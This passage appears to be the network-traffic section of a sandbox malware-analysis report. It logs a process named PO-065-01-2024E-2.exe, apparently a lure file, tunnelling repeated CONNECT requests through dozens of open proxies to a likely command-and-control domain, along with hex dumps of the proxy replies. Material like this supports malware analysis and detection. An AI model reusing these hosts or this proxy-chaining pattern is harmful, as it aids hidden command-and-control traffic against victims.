20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d 0a 0a 2f 2a 20 47 65 6e 65 72 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>: URL </title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area /#content {padding: 10px;background: #ffffff;}/ Gener

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.10	50741	5.161.219.13	4228	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.674827099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.891383886 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.10	51307	119.91.214.119	3389	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.675497055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.10	50758	194.4.50.62	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.677418947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.10	50731	165.227.95.2	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.682873964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.705264091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.767234087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.911001921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.910787106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.910712957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:34.005908012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:58.004543066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:46.160594940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.10	51367	190.153.121.2	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.682914972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.10	50566	103.140.34.61	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.683727980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.676522970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.677540064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676908970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.676449060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.682672977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.785720110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:57.785671949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:45.816807032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.10	51313	14.232.235.13	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.687239885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.062370062 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.10	51116	36.134.91.82	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.699992895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.428006887 CET	324	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.10	51389	51.161.33.206	44523	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.700916052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.285805941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.989435911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.286067963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.10	50556	176.197.144.158	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.701350927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.10	51376	174.64.199.79	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.709392071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.10	50704	72.210.221.223	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.715147972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.10	50707	72.195.34.41	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.715151072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.10	51411	23.95.209.142	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.719239950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.10	51363	193.239.56.84	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.729320049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.10	50682	75.119.145.169	61344	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.734936953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.785778999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.786232948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.786046982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.785818100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.785721064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.785917997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:57.785888910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:45.819405079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.10	51352	120.78.191.68	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.739362955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.099311113 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 30 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314009"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.10	51347	1.15.62.12	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.745316029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.10	51368	121.128.194.154	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.745980024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.053013086 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.10	51430	104.16.105.146	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.766812086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
